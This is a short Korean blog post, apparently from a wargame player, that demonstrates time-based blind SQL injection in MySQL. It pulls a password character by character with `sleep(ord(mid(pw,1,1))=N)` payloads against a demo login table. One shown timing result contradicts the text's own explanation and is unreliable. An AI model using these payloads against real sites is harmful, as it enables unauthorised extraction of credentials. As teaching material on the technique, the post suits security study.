Hacking/Web.

Blind SQL Injection Technique

2017. 2. 16. 21:33

Blind SQL Injection Technique

- H3X0R, s1ipper 팀 소속 윤석찬(ch4n3) -



http://chaneyoon.tistory.com/117


지난번에 Blind SQL Injection + Time based SQL Injection 관련 포스팅을 했는데 더 향상된 쿼리가 있어서 이렇게 글을 쓴다. 



mysql> select * from login;

+-------+----------+------+

| id    | pw       | no   |

+-------+----------+------+

| admin | P@s$w0Rd |    1 |

+-------+----------+------+

1 row in set (0.00 sec)



mysql>  select * from login where id='' or sleep(ord(mid(pw,1,1)));


이렇게 Blind SQL Injection을 할 수 있다. 하지만, 단점은 시간이 너무 오래 걸린다는 것이다. 

MySQL에서는 True의 값이 C언어와 동일하게 1이고, False의 값이 0이다. 


이 원리를 위의 쿼리에 적용시킬 수 있다. 

mysql>  select * from login where id='' or sleep(ord(mid(pw,1,1))=80);

Empty set (1.00 sec)


mysql>  select * from login where id='' or sleep(ord(mid(pw,1,1))=100);

Empty set (1.00 sec)

'P'의 아스키 값은 80이다. 따라서 첫번째 쿼리에서는 1초 프리징되고, 두번째 쿼리에서는 0초 프리징, 즉 프리징이 되지 않는다. 

따라서 위와 같은 원리를 적용하여 Blind SQL Injection + Time based SQL Injection 을 수행할 수 있었다. 




'Hacking > Web.' 카테고리의 다른 글

[wargame.kr] SimpleBoard solving...  (0) 2017.02.25
sql injection tech  (0) 2017.02.22
Blind SQL injection technique  (0) 2017.02.16
XSS??  (0) 2017.02.16
error based sql injection  (0) 2017.02.12